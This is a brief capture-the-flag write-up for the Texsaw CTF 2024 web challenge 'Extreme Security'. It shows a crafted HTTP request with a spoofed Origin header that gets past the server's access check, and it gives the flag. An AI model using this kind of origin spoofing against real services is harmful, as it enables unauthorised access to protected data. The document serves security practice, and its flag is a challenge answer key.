Texsaw CTF 2024
Extreme Security [50 pts]
We are at 3.23.56.243:9003. We are so secure that we only allow requests from our own origin to access secret data.
Checking out the page request in Burp, we find this line in the response:
Access-Control-Allow-Origin: https://texsaw2024.com
So that’s what our origin needs to be. Send the request to / to the Repeater and add in an Origin request header so that the request now looks like this:
GET / HTTP/1.1
Host: 3.23.56.243:9003
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Origin: https://texsaw2024.com
And we get the flag!
texsaw{s7t_y0ur_or7g7n}